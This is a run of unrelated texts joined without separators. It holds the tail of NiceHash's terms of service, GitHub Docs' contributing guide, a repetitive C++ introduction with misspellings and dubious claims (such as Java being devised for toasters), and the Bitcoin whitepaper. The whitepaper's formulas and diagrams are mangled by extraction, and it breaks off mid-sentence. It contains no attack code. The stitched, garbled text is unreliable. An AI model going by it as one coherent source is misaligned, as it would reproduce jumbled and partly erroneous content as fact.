organized and validly existing under the applicable laws of the jurisdiction of its organization; and (ii) you are duly authorized by such legal entity to act on its behalf. These Terms do not create any third-party beneficiary rights in any individual or entity. These Terms forms the entire agreement and understanding relating to the subject matter hereof and supersede any previous and contemporaneous agreements, arrangements or understandings relating to the subject matter hereof to the exclusion of any terms implied by law that may be excluded by contract. If at any time any provision of these Terms is or becomes illegal, invalid or unenforceable, the legality, validity and enforceability of every other provisions will not in any way be impaired. Such illegal, invalid or unenforceable provision of these Terms shall be deemed to be modified and replaced by such legal, valid and enforceable provision or arrangement, which corresponds as closely as possible to our and your will and business purpose pursued and reflected in these Terms. Headings of sections are for convenience only and shall not be used to limit or construe such sections. No failure to enforce nor delay in enforcing, on our side to the Terms, any right or legal remedy shall function as a waiver thereof, nor shall any individual or partial exercise of any right or legal remedy prevent any further or other enforcement of these rights or legal remedies or the enforcement of any other rights or legal remedies. NiceHash reserves the right to make changes, amendments, supplementations or modifications from time to time to these Terms including but not limited to changes of licence agreement for NiceHash Mining Software and of any fees and compensations policies, in its sole discretion and for any reason. We suggest that you review these Terms periodically for changes. If we make changes to these Terms, we will provide you with notice of such changes, such as by sending an email, providing notice on the NiceHash Platform, placing a popup window after login to the NiceHash Account or by posting the amended Terms on the NiceHash Platform and updating the date at the top of these Terms. The amended Terms will be deemed effective immediately upon posting for any new users of the NiceHash Services. In all other cases, the amended Terms will become effective for preexisting users upon the earlier of either: (i) the date users click or press a button to accept such changes in their NiceHash Account, or (ii) continued use of NiceHash Services 30 days after NiceHash provides notice of such changes. Any amended Terms will apply prospectively to use of the NiceHash Services after such changes become effective. The notice of change of these Terms is considered as notice of termination of all rights and obligations between you and NiceHash derived from these Terms with notice period of 30 days, if you do not accept the amended Terms. If you do not agree to any amended Terms, (i) the agreement between you and NiceHash is terminated by expiry of 30 days period which starts after NiceHash provides you a notice of change of these Terms, (ii) you must discontinue using NiceHash Services and (iii) you must inform us regarding your disagreement with the changes and request closure of your NiceHash Account. If you do not inform us regarding your disagreement and do not request closure of you NiceHash Account, we will deem that you agree with the changed Terms. You may not assign or transfer your rights or obligations under these Terms without the prior written consent of NiceHash. NiceHash may assign or transfer any or all of its rights under these Terms, in whole or in part, without obtaining your consent or approval. These Terms shall be governed by and construed and enforced in accordance with the Laws of the British Virgin Islands, and shall be interpreted in all respects as a British Virgin Islands contract. Any transaction, dispute, controversy, claim or action arising from or related to your access or use of the NiceHash Platform or these Terms of Service likewise shall be governed by the Laws of the British Virgin Islands, exclusive of choice-of-law principles. The rights and remedies conferred on NiceHash by, or pursuant to, these Terms are cumulative and are in addition, and without prejudice, to all other rights and remedies otherwise available to NiceHash at law. NiceHash may transfer its rights and obligations under these Terms to other entities which include, but are not limited to H-BIT, d.o.o. and NICEX Ltd, or any other firm or business entity that directly or indirectly acquires all or substantially all of the assets or business of NICEHASH Ltd. If you do not consent to any transfer, you may terminate this agreement and close your NiceHash Account. These Terms are not boilerplate. If you disagree with any of them, believe that any should not apply to you, or wish to negotiate these Terms, please contact NiceHash and immediately navigate away from the NiceHash Platform. Do not use the NiceHash Mining Services, NiceHash Wallet or other related services until you and NiceHash have agreed upon new terms of service. Last updated: March 1, 2021

I am curating best Black Friday and Cyber Monday deals for developers, mostly learning resource to prepare for coding and system design interviews as well as courses, books, and resources to level up their tech skills and learn new programming language, framework, and tech skills.

A collection of awesome software, libraries and frameworks, design and architecture principles, books and videos, important resources and best practices about System Design & Architecture

# Contributing to this repository <!-- omit in toc --> ## Getting started <!-- omit in toc --> Before you begin: - This site is powered by Node.js. Check to see if you're on the [version of node we support](contributing/development.md). - Have you read the [code of conduct](CODE_OF_CONDUCT.md)? - Check out the [existing issues](https://github.com/github/docs/issues) & see if we [accept contributions](#types-of-contributions-memo) for your type of issue. ### Use the 'make a contribution' button  Navigating a new codebase can be challenging, so we're making that a little easier. As you're using docs.github.com, you may come across an article that you want to make an update to. You can click on the **make a contribution** button right on that article, which will take you to the file in this repo where you'll make your changes. Before you make your changes, check to see if an [issue exists](https://github.com/github/docs/issues/) already for the change you want to make. ### Don't see your issue? Open one If you spot something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### Ready to make a change? Fork the repo Fork using GitHub Desktop: - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! Fork using the command line: - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. Fork with [GitHub Codespaces](https://github.com/features/codespaces): - [Fork, edit, and preview](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces/creating-a-codespace) using [GitHub Codespaces](https://github.com/features/codespaces) without having to install and run the project locally. ### Make your update: Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository). - Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md). - Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md). ### Open a pull request When you're done making changes and you'd like to propose them for review, use the [pull request template](#pull-request-template) to open your PR (pull request). ### Submit your PR & get it reviewed - Once you submit your PR, others from the Docs community will review it with you. The first thing you're going to want to do is a [self review](#self-review). - After that, we may have questions, check back on your PR to keep up with the conversation. - Did you have an issue, like a merge conflict? Check out our [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) on how to resolve merge conflicts and other issues. ### Your PR is merged! Congratulations! The whole GitHub community thanks you. :sparkles: Once your PR is merged, you will be proudly listed as a contributor in the [contributor chart](https://github.com/github/docs/graphs/contributors). ### Keep contributing as you use GitHub Docs Now that you're a part of the GitHub Docs community, you can keep participating in many ways. **Learn more about contributing:** - [Types of contributions :memo:](#types-of-contributions-memo) - [:mega: Discussions](#mega-discussions) - [:beetle: Issues](#beetle-issues) - [:hammer_and_wrench: Pull requests](#hammer_and_wrench-pull-requests) - [:question: Support](#question-support) - [:earth_asia: Translations](#earth_asia-translations) - [:balance_scale: Site Policy](#balance_scale-site-policy) - [Starting with an issue](#starting-with-an-issue) - [Labels](#labels) - [Opening a pull request](#opening-a-pull-request) - [Working in the github/docs repository](#working-in-the-githubdocs-repository) - [Reviewing](#reviewing) - [Self review](#self-review) - [Pull request template](#pull-request-template) - [Suggested changes](#suggested-changes) - [Windows](#windows) ## Types of contributions :memo: You can contribute to the GitHub Docs content and site in several ways. This repo is a place to discuss and collaborate on docs.github.com! Our small, but mighty :muscle: docs team is maintaining this repo, to preserve our bandwidth, off topic conversations will be closed. ### :mega: Discussions Discussions are where we have conversations. If you'd like help troubleshooting a docs PR you're working on, have a great new idea, or want to share something amazing you've learned in our docs, join us in [discussions](https://github.com/github/docs/discussions). ### :beetle: Issues [Issues](https://docs.github.com/en/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a triage label, we haven't reviewed it yet and you shouldn't begin work on it. If you've found something in the content or the website that should be updated, search open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### :hammer_and_wrench: Pull requests A [pull request](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they should be deployed to the live site within 24 hours. :earth_africa: To learn more about opening a pull request in this repo, see [Opening a pull request](#opening-a-pull-request) below. ### :question: Support We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with GitHub, unrelated to our documentation, please [contact GitHub Support directly](https://support.github.com/contact). Any issues, discussions, or pull requests opened here requesting support will be given information about how to contact GitHub Support, then closed and locked. If you're having trouble with your GitHub account, contact [Support](https://support.github.com/contact). ### :earth_asia: Translations This website is internationalized and available in multiple languages. The source content in this repository is written in English. We integrate with an external localization platform called [Crowdin](https://crowdin.com) and work with professional translators to localize the English content. **We do not currently accept contributions for translated content**, but we hope to in the future. ### :balance_scale: Site Policy GitHub's site policies are published on docs.github.com, too! If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [the CONTRIBUTING guide in the site-policy repo](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md). ## Starting with an issue You can browse existing issues to find something that needs help! ### Labels Labels can help you find an issue you'd like to help with. - The [`help wanted` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) is for problems or updates that anyone in the community can start working on. - The [`good first issue` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) is for problems or updates we think are ideal for beginners. - The [`content` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) is for problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. - The [`engineering` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) is for problems or updates in the docs.github.com website. These will usually require some knowledge of JavaScript/Node.js or YAML to fix. ## Opening a pull request You can use the GitHub user interface :pencil2: for some small changes, like fixing a typo or updating a readme. You can also fork the repo and then clone it locally, to view changes and run your tests on your machine. ## Working in the github/docs repository Here's some information that might be helpful while working on a Docs PR: - [Development](/contributing/development.md) - This short guide describes how to get this app running on your local machine. - [Content markup reference](/contributing/content-markup-reference.md) - All of our content is written in GitHub-flavored Markdown, with some additional enhancements. - [Content style guide for GitHub Docs](/contributing/content-style-guide.md) - This guide covers GitHub-specific information about how we style our content and images. It also links to the resources we use for general style guidelines. - [Reusables](/data/reusables/README.md) - We use reusables to help us keep content up to date. Instead of writing the same long string of information in several articles, we create a reusable, then call it from the individual articles. - [Variables](/data/variables/README.md) - We use variables the same way we use reusables. Variables are for short strings of reusable text. - [Liquid](/contributing/liquid-helpers.md) - We use liquid helpers to create different versions of our content. - [Scripts](/script/README.md) - The scripts directory is the home for all of the scripts you can run locally. - [Tests](/tests/README.md) - We use tests to ensure content will render correctly on the site. Tests run automatically in your PR, and sometimes it's also helpful to run them locally. ## Reviewing We (usually the docs team, but sometimes GitHub product managers, engineers, or supportocats too!) review every single PR. The purpose of reviews is to create the best content we can for people who use GitHub. :yellow_heart: Reviews are always respectful, acknowledging that everyone did the best possible job with the knowledge they had at the time. :yellow_heart: Reviews discuss content, not the person who created it. :yellow_heart: Reviews are constructive and start conversation around feedback. ### Self review You should always review your own PR first. For content changes, make sure that you: - [ ] Confirm that the changes address every part of the content design plan from your issue (if there are differences, explain them). - [ ] Review the content for technical accuracy. - [ ] Review the entire pull request using the [localization checklist](contributing/localization-checklist.md). - [ ] Copy-edit the changes for grammar, spelling, and adherence to the style guide. - [ ] Check new or updated Liquid statements to confirm that versioning is correct. - [ ] Check that all of your changes render correctly in staging. Remember, that lists and tables can be tricky. - [ ] If there are any failing checks in your PR, troubleshoot them until they're all passing. ### Pull request template When you open a pull request, you must fill out the "Ready for review" template before we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. ### Suggested changes We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). ## Windows This site can be developed on Windows, however a few potential gotchas need to be kept in mind: 1. Regular Expressions: Windows uses `\r\n` for line endings, while Unix based systems use `\n`. Therefore when working on Regular Expressions, use `\r?\n` instead of `\n` in order to support both environments. The Node.js [`os.EOL`](https://nodejs.org/api/os.html#os_os_eol) property can be used to get an OS-specific end-of-line marker. 1. Paths: Windows systems use `\` for the path separator, which would be returned by `path.join` and others. You could use `path.posix`, `path.posix.join` etc and the [slash](https://ghub.io/slash) module, if you need forward slashes - like for constructing URLs - or ensure your code works with either. 1. Bash: Not every Windows developer has a terminal that fully supports Bash, so it's generally preferred to write [scripts](/script) in JavaScript instead of Bash.

What is C++? C++ is a general-purpose, object-oriented programming language. It was created by Bjarne Stroustrup at Bell Labs circa 1980. C++ is very similar to C (invented by Dennis Ritchie in the early 1970s). C++ is so compatible with C that it will probably compile over 99% of C programs without changing a line of source code. Though C++ is a lot of well-structured and safer language than C as it OOPs based. Some computer languages are written for a specific purpose. Like, Java was initially devised to control toasters and some other electronics. C was developed for programming OS. Pascal was conceptualized to teach proper programming techniques. But C++ is a general-purpose language. It well deserves the widely acknowledged nickname "Swiss Pocket Knife of Languages." C++ is a cross-platform language that can be used to create high-performance applications. C++ was developed by Bjarne Stroustrup, as an extension to the C language. C++ gives programmers a high level of control over system resources and memory. The language was updated 3 major times in 2011, 2014, and 2017 to C++11, C++14, and C++17. About C++ Programming Multi-paradigm Language - C++ supports at least seven different styles of programming. Developers can choose any of the styles. General Purpose Language - You can use C++ to develop games, desktop apps, operating systems, and so on. Speed - Like C programming, the performance of optimized C++ code is exceptional. Object-oriented - C++ allows you to divide complex problems into smaller sets by using objects. Why Learn C++? C++ is used to develop games, desktop apps, operating systems, browsers, and so on because of its performance. After learning C++, it will be much easier to learn other programming languages like Java, Python, etc. C++ helps you to understand the internal architecture of a computer, how computer stores and retrieves information. How to learn C++? C++ tutorial from Programiz - We provide step by step C++ tutorials, examples, and references. Get started with C++. Official C++ documentation - Might be hard to follow and understand for beginners. Visit official C++ documentation. Write a lot of C++ programming code- The only way you can learn programming is by writing a lot of code. Read C++ code- Join Github's open-source projects and read other people's code. C++ best programming language? The answer depends on perspective and requirements. Some tasks can be done in C++, though not very quickly. For example, designing GUI screens for applications. Other languages like Visual Basic, Python have GUI design elements built into them. Therefore, they are better suited for GUI type of task. Some of the scripting languages that provide extra programmability to applications. Such as MS Word and even photoshop tend to be variants of Basic, not C++. C++ is still used widely, and the most famous software have their backbone in C++. This tutorial will help you learn C++ basic and the advanced concepts. Who uses C++? Some of today's most visible used systems have their critical parts written in C++. Examples are Amadeus (airline ticketing) Bloomberg (financial formation), Amazon (Web commerce), Google (Web search) Facebook (social media) Many programming languages depend on C++'s performance and reliability in their implementation. Examples include: Java Virtual Machines JavaScript interpreters (e.g., Google's V8) Browsers (e.g., Internet Explorer, Mozilla's Firefox, Apple's Safari, and Google's Chrome) Application and Web frameworks (e.g., Microsoft's .NET Web services framework). Applications that involve local and wide area networks, user interaction, numeric, graphics, and database access highly depend on C++ language. Why Use C++ C++ is one of the world's most popular programming languages. C++ can be found in today's operating systems, Graphical User Interfaces, and embedded systems. C++ is an object-oriented programming language which gives a clear structure to programs and allows code to be reused, lowering development costs. C++ is portable and can be used to develop applications that can be adapted to multiple platforms. C++ is fun and easy to learn! As C++ is close to C# and Java, it makes it easy for programmers to switch to C++ or vice versa Definition - What does C++ Programming Language mean? C++ is an object oriented computer language created by notable computer scientist Bjorne Stroustrop as part of the evolution of the C family of languages. Some call C++ “C with classes” because it introduces object oriented programming principles, including the use of defined classes, to the C programming language framework. C++ is pronounced "see-plus-plus." C++ Variables Variables are the backbone of any programming language. A variable is merely a way to store some information for later use. We can retrieve this value or data by referring to a "word" that will describe this information. Once declared and defined they may be used many times within the scope in which they were declared. C++ Control Structures When a program runs, the code is read by the compiler line by line (from top to bottom, and for the most part left to right). This is known as "code flow." When the code is being read from top to bottom, it may encounter a point where it needs to make a decision. Based on the decision, the program may jump to a different part of the code. It may even make the compiler re-run a specific piece again, or just skip a bunch of code. You could think of this process like if you were to choose from different courses from Guru99. You decide, click a link and skip a few pages. In the same way, a computer program has a set of strict rules to decide the flow of program execution. C++ Syntax The syntax is a layout of words, expression, and symbols. Well, it's because an email address has its well-defined syntax. You need some combination of letters, numbers, potentially with underscores (_) or periods (.) in between, followed by an at the rate (@) symbol, followed by some website domain (company.com). So, syntax in a programming language is much the same. They are some well-defined set of rules that allow you to create some piece of well-functioning software. But, if you don't abide by the rules of a programming language or syntax, you'll get errors. C++ Tools In the real world, a tool is something (usually a physical object) that helps you to get a certain job done promptly. Well, this holds true with the programming world too. A tool in programming is some piece of software which when used with the code allows you to program faster. There are probably tens of thousands, if not millions of different tools across all the programming languages. Most crucial tool, considered by many, is an IDE, an Integrated Development Environment. An IDE is a software which will make your coding life so much easier. IDEs ensure that your files and folders are organized and give you a nice and clean way to view them. Types of C++ Errors Another way to look at C++ in a practical sense is to start enumerating different kinds of errors that occur as the written code makes its way to final execution. First, there are syntax errors where the code is actually written in an illegible way. This can be a misuse of punctuation, or the misspelling of a function command or anything else that compromises the integrity of the syntax as it is written. Another fundamental type of error is a compiler error that simply tells the programmer the compiler was not able to do its work effectively. As a compiler language, C++ relies on the compiler to make the source code into machine readable code and optimize it in various ways. A third type of error happens after the program has been successfully compiled. Runtime errors are not uncommon in C++ executables. What they represent is some lack of designated resource or non-working command in the executable program. In other words, the syntax is right, and the program was compiled successfully, but as the program is doing its work, it encounters a problem, whether that has to do with interdependencies, operating system requirements or anything else in the general environment in which the program is trying to work. Over time, C++ has remained a very useful language not only in computer programming itself, but in teaching new programmers about how object oriented programming works.

Bitcoin: A Peer-to-Peer Electronic Cash System Satoshi Nakamoto satoshin@gmx.com www.bitcoin.org Abstract. A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution. Digital signatures provide part of the solution, but the main benefits are lost if a trusted third party is still required to prevent double-spending. We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power. As long as a majority of CPU power is controlled by nodes that are not cooperating to attack the network, they'll generate the longest chain and outpace attackers. The network itself requires minimal structure. Messages are broadcast on a best effort basis, and nodes can leave and rejoin the network at will, accepting the longest proof-of-work chain as proof of what happened while they were gone. 1. Introduction Commerce on the Internet has come to rely almost exclusively on financial institutions serving as trusted third parties to process electronic payments. While the system works well enough for most transactions, it still suffers from the inherent weaknesses of the trust based model. Completely non-reversible transactions are not really possible, since financial institutions cannot avoid mediating disputes. The cost of mediation increases transaction costs, limiting the minimum practical transaction size and cutting off the possibility for small casual transactions, and there is a broader cost in the loss of ability to make non-reversible payments for non- reversible services. With the possibility of reversal, the need for trust spreads. Merchants must be wary of their customers, hassling them for more information than they would otherwise need. A certain percentage of fraud is accepted as unavoidable. These costs and payment uncertainties can be avoided in person by using physical currency, but no mechanism exists to make payments over a communications channel without a trusted party. What is needed is an electronic payment system based on cryptographic proof instead of trust, allowing any two willing parties to transact directly with each other without the need for a trusted third party. Transactions that are computationally impractical to reverse would protect sellers from fraud, and routine escrow mechanisms could easily be implemented to protect buyers. In this paper, we propose a solution to the double-spending problem using a peer-to-peer distributed timestamp server to generate computational proof of the chronological order of transactions. The system is secure as long as honest nodes collectively control more CPU power than any cooperating group of attacker nodes. 1 2. Transactions We define an electronic coin as a chain of digital signatures. Each owner transfers the coin to the next by digitally signing a hash of the previous transaction and the public key of the next owner and adding these to the end of the coin. A payee can verify the signatures to verify the chain of ownership. Transaction Hash Transaction Hash Transaction Hash Owner 1's Public Key Owner 2's Public Key Owner 3's Public Key Owner 0's Signature Owner 1's Signature The problem of course is the payee can't verify that one of the owners did not double-spend the coin. A common solution is to introduce a trusted central authority, or mint, that checks every transaction for double spending. After each transaction, the coin must be returned to the mint to issue a new coin, and only coins issued directly from the mint are trusted not to be double-spent. The problem with this solution is that the fate of the entire money system depends on the company running the mint, with every transaction having to go through them, just like a bank. We need a way for the payee to know that the previous owners did not sign any earlier transactions. For our purposes, the earliest transaction is the one that counts, so we don't care about later attempts to double-spend. The only way to confirm the absence of a transaction is to be aware of all transactions. In the mint based model, the mint was aware of all transactions and decided which arrived first. To accomplish this without a trusted party, transactions must be publicly announced [1], and we need a system for participants to agree on a single history of the order in which they were received. The payee needs proof that at the time of each transaction, the majority of nodes agreed it was the first received. 3. Timestamp Server The solution we propose begins with a timestamp server. A timestamp server works by taking a hash of a block of items to be timestamped and widely publishing the hash, such as in a newspaper or Usenet post [2-5]. The timestamp proves that the data must have existed at the time, obviously, in order to get into the hash. Each timestamp includes the previous timestamp in its hash, forming a chain, with each additional timestamp reinforcing the ones before it. Hash Hash Owner 2's Signature Owner 1's Private Key Owner 2's Private Key Owner 3's Private Key Block Item Item ... 2 Block Item Item ... Verify Verify Sign Sign 4. Proof-of-Work To implement a distributed timestamp server on a peer-to-peer basis, we will need to use a proof- of-work system similar to Adam Back's Hashcash [6], rather than newspaper or Usenet posts. The proof-of-work involves scanning for a value that when hashed, such as with SHA-256, the hash begins with a number of zero bits. The average work required is exponential in the number of zero bits required and can be verified by executing a single hash. For our timestamp network, we implement the proof-of-work by incrementing a nonce in the block until a value is found that gives the block's hash the required zero bits. Once the CPU effort has been expended to make it satisfy the proof-of-work, the block cannot be changed without redoing the work. As later blocks are chained after it, the work to change the block would include redoing all the blocks after it. The proof-of-work also solves the problem of determining representation in majority decision making. If the majority were based on one-IP-address-one-vote, it could be subverted by anyone able to allocate many IPs. Proof-of-work is essentially one-CPU-one-vote. The majority decision is represented by the longest chain, which has the greatest proof-of-work effort invested in it. If a majority of CPU power is controlled by honest nodes, the honest chain will grow the fastest and outpace any competing chains. To modify a past block, an attacker would have to redo the proof-of-work of the block and all blocks after it and then catch up with and surpass the work of the honest nodes. We will show later that the probability of a slower attacker catching up diminishes exponentially as subsequent blocks are added. To compensate for increasing hardware speed and varying interest in running nodes over time, the proof-of-work difficulty is determined by a moving average targeting an average number of blocks per hour. If they're generated too fast, the difficulty increases. 5. Network The steps to run the network are as follows: 1) New transactions are broadcast to all nodes. 2) Each node collects new transactions into a block. 3) Each node works on finding a difficult proof-of-work for its block. 4) When a node finds a proof-of-work, it broadcasts the block to all nodes. 5) Nodes accept the block only if all transactions in it are valid and not already spent. 6) Nodes express their acceptance of the block by working on creating the next block in the chain, using the hash of the accepted block as the previous hash. Nodes always consider the longest chain to be the correct one and will keep working on extending it. If two nodes broadcast different versions of the next block simultaneously, some nodes may receive one or the other first. In that case, they work on the first one they received, but save the other branch in case it becomes longer. The tie will be broken when the next proof- of-work is found and one branch becomes longer; the nodes that were working on the other branch will then switch to the longer one. 3 Block Nonce Tx Tx ... Block Nonce Tx Tx ... Prev Hash Prev Hash New transaction broadcasts do not necessarily need to reach all nodes. As long as they reach many nodes, they will get into a block before long. Block broadcasts are also tolerant of dropped messages. If a node does not receive a block, it will request it when it receives the next block and realizes it missed one. 6. Incentive By convention, the first transaction in a block is a special transaction that starts a new coin owned by the creator of the block. This adds an incentive for nodes to support the network, and provides a way to initially distribute coins into circulation, since there is no central authority to issue them. The steady addition of a constant of amount of new coins is analogous to gold miners expending resources to add gold to circulation. In our case, it is CPU time and electricity that is expended. The incentive can also be funded with transaction fees. If the output value of a transaction is less than its input value, the difference is a transaction fee that is added to the incentive value of the block containing the transaction. Once a predetermined number of coins have entered circulation, the incentive can transition entirely to transaction fees and be completely inflation free. The incentive may help encourage nodes to stay honest. If a greedy attacker is able to assemble more CPU power than all the honest nodes, he would have to choose between using it to defraud people by stealing back his payments, or using it to generate new coins. He ought to find it more profitable to play by the rules, such rules that favour him with more new coins than everyone else combined, than to undermine the system and the validity of his own wealth. 7. Reclaiming Disk Space Once the latest transaction in a coin is buried under enough blocks, the spent transactions before it can be discarded to save disk space. To facilitate this without breaking the block's hash, transactions are hashed in a Merkle Tree [7][2][5], with only the root included in the block's hash. Old blocks can then be compacted by stubbing off branches of the tree. The interior hashes do not need to be stored. Block Hash0 Hash1 Hash2 Hash3 Tx0 Tx1 Tx2 Tx3 Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Block Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Hash2 Hash3 Tx3 Transactions Hashed in a Merkle Tree After Pruning Tx0-2 from the Block A block header with no transactions would be about 80 bytes. If we suppose blocks are generated every 10 minutes, 80 bytes * 6 * 24 * 365 = 4.2MB per year. With computer systems typically selling with 2GB of RAM as of 2008, and Moore's Law predicting current growth of 1.2GB per year, storage should not be a problem even if the block headers must be kept in memory. 4 8. Simplified Payment Verification It is possible to verify payments without running a full network node. A user only needs to keep a copy of the block headers of the longest proof-of-work chain, which he can get by querying network nodes until he's convinced he has the longest chain, and obtain the Merkle branch linking the transaction to the block it's timestamped in. He can't check the transaction for himself, but by linking it to a place in the chain, he can see that a network node has accepted it, and blocks added after it further confirm the network has accepted it. Longest Proof-of-Work Chain Block Header Block Header Block Header Prev Hash Nonce Prev Hash Nonce Prev Hash Nonce Merkle Root Merkle Root Merkle Root Hash01 Hash23 Merkle Branch for Tx3 Hash2 Hash3 Tx3 As such, the verification is reliable as long as honest nodes control the network, but is more vulnerable if the network is overpowered by an attacker. While network nodes can verify transactions for themselves, the simplified method can be fooled by an attacker's fabricated transactions for as long as the attacker can continue to overpower the network. One strategy to protect against this would be to accept alerts from network nodes when they detect an invalid block, prompting the user's software to download the full block and alerted transactions to confirm the inconsistency. Businesses that receive frequent payments will probably still want to run their own nodes for more independent security and quicker verification. 9. Combining and Splitting Value Although it would be possible to handle coins individually, it would be unwieldy to make a separate transaction for every cent in a transfer. To allow value to be split and combined, transactions contain multiple inputs and outputs. Normally there will be either a single input from a larger previous transaction or multiple inputs combining smaller amounts, and at most two outputs: one for the payment, and one returning the change, if any, back to the sender. It should be noted that fan-out, where a transaction depends on several transactions, and those transactions depend on many more, is not a problem here. There is never the need to extract a complete standalone copy of a transaction's history. 5 Transaction In Out In ... ... 10. Privacy The traditional banking model achieves a level of privacy by limiting access to information to the parties involved and the trusted third party. The necessity to announce all transactions publicly precludes this method, but privacy can still be maintained by breaking the flow of information in another place: by keeping public keys anonymous. The public can see that someone is sending an amount to someone else, but without information linking the transaction to anyone. This is similar to the level of information released by stock exchanges, where the time and size of individual trades, the "tape", is made public, but without telling who the parties were. Traditional Privacy Model Identities Transactions New Privacy Model Identities Transactions As an additional firewall, a new key pair should be used for each transaction to keep them from being linked to a common owner. Some linking is still unavoidable with multi-input transactions, which necessarily reveal that their inputs were owned by the same owner. The risk is that if the owner of a key is revealed, linking could reveal other transactions that belonged to the same owner. 11. Calculations We consider the scenario of an attacker trying to generate an alternate chain faster than the honest chain. Even if this is accomplished, it does not throw the system open to arbitrary changes, such as creating value out of thin air or taking money that never belonged to the attacker. Nodes are not going to accept an invalid transaction as payment, and honest nodes will never accept a block containing them. An attacker can only try to change one of his own transactions to take back money he recently spent. The race between the honest chain and an attacker chain can be characterized as a Binomial Random Walk. The success event is the honest chain being extended by one block, increasing its lead by +1, and the failure event is the attacker's chain being extended by one block, reducing the gap by -1. The probability of an attacker catching up from a given deficit is analogous to a Gambler's Ruin problem. Suppose a gambler with unlimited credit starts at a deficit and plays potentially an infinite number of trials to try to reach breakeven. We can calculate the probability he ever reaches breakeven, or that an attacker ever catches up with the honest chain, as follows [8]: p = probability an honest node finds the next block q = probability the attacker finds the next block qz = probability the attacker will ever catch up from z blocks behind Trusted Third Party q ={ 1 if p≤q} z q/pz if pq 6 Counterparty Public Public Given our assumption that p > q, the probability drops exponentially as the number of blocks the attacker has to catch up with increases. With the odds against him, if he doesn't make a lucky lunge forward early on, his chances become vanishingly small as he falls further behind. We now consider how long the recipient of a new transaction needs to wait before being sufficiently certain the sender can't change the transaction. We assume the sender is an attacker who wants to make the recipient believe he paid him for a while, then switch it to pay back to himself after some time has passed. The receiver will be alerted when that happens, but the sender hopes it will be too late. The receiver generates a new key pair and gives the public key to the sender shortly before signing. This prevents the sender from preparing a chain of blocks ahead of time by working on it continuously until he is lucky enough to get far enough ahead, then executing the transaction at that moment. Once the transaction is sent, the dishonest sender starts working in secret on a parallel chain containing an alternate version of his transaction. The recipient waits until the transaction has been added to a block and z blocks have been linked after it. He doesn't know the exact amount of progress the attacker has made, but assuming the honest blocks took the average expected time per block, the attacker's potential progress will be a Poisson distribution with expected value:  = z qp To get the probability the attacker could still catch up now, we multiply the Poisson density for each amount of progress he could have made by the probability he could catch up from that point: ∞ ke−{q/pz−k ifk≤z} ∑k=0 k!⋅ 1 ifkz Rearranging to avoid summing the infinite tail of the distribution... z ke− z−k 1−∑k=0 k! 1−q/p  Converting to C code... #include <math.h> double AttackerSuccessProbability(double q, int z) { double p = 1.0 - q; double lambda = z * (q / p); double sum = 1.0; int i, k; for (k = 0; k <= z; k++) { double poisson = exp(-lambda); for (i = 1; i <= k; i++) poisson *= lambda / i; sum -= poisson * (1 - pow(q / p, z - k)); } return sum; } 7 Running some results, we can see the probability drop off exponentially with z. q=0.1 z=0 P=1.0000000 z=1 P=0.2045873 z=2 P=0.0509779 z=3 P=0.0131722 z=4 P=0.0034552 z=5 P=0.0009137 z=6 P=0.0002428 z=7 P=0.0000647 z=8 P=0.0000173 z=9 P=0.0000046 z=10 P=0.0000012 q=0.3 z=0 P=1.0000000 z=5 P=0.1773523 z=10 P=0.0416605 z=15 P=0.0101008 z=20 P=0.0024804 z=25 P=0.0006132 z=30 P=0.0001522 z=35 P=0.0000379 z=40 P=0.0000095 z=45 P=0.0000024 z=50 P=0.0000006 Solving for P less than 0.1%... P < 0.001 q=0.10 z=5 q=0.15 z=8 q=0.20 z=11 q=0.25 z=15 q=0.30 z=24 q=0.35 z=41 q=0.40 z=89 q=0.45 z=340 12. Conclusion We have proposed a system for electronic transactions without relying on trust. We started with the usual framework of coins made from digital signatures, which provides strong control of ownership, but is incomplete without a way to prevent double-spending. To solve this, we proposed a peer-to-peer network using proof-of-work to record a public history of transactions that quickly becomes computationally impractical for an attacker to change if honest nodes control a majority of CPU power. The network is robust in its unstructured 